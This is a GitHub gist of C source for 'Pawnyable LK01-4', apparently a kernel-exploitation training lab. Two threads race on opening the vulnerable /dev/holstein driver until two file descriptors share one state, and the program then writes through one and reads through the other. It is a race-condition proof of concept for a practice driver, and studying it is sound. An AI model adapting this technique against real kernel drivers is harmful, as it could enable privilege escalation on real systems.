Skip to content

Instantly share code, notes, and snippets.

@brant-ruan
Created December 1, 2022 08:31
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brant-ruan/c13f623c8b808d8a830f48f8ee0e4c75 to your computer and use it in GitHub Desktop.
Save brant-ruan/c13f623c8b808d8a830f48f8ee0e4c75 to your computer and use it in GitHub Desktop.
Pawnyable LK01-4
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int win = 0;
void *race(void *arg) {
while (1) {
while (!win) {
int fd = open("/dev/holstein", O_RDWR);
if (fd == 4)
win = 1;
if (win == 0 && fd != -1)
close(fd);
}
if (write(3, "A", 1) != 1 || write(4, "a", 1) != 1) {
close(3);
close(4);
win = 0;
} else
break;
}
return NULL;
}
int main() {
pthread_t th1, th2;
puts("[*] running thread 1 and thread 2");
pthread_create(&th1, NULL, race, NULL);
pthread_create(&th2, NULL, race, NULL);
pthread_join(th1, NULL);
pthread_join(th2, NULL);
puts("[+] reached race condition");
char buf[0x400] = {0};
int fd1 = 3, fd2 = 4;
puts("[*] writing \'aptx4869\' into fd 3");
write(fd1, "aptx4869", 9);
puts("[*] reading from fd 4");
read(fd2, buf, 9);
printf("[+] content: %s\n", buf);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment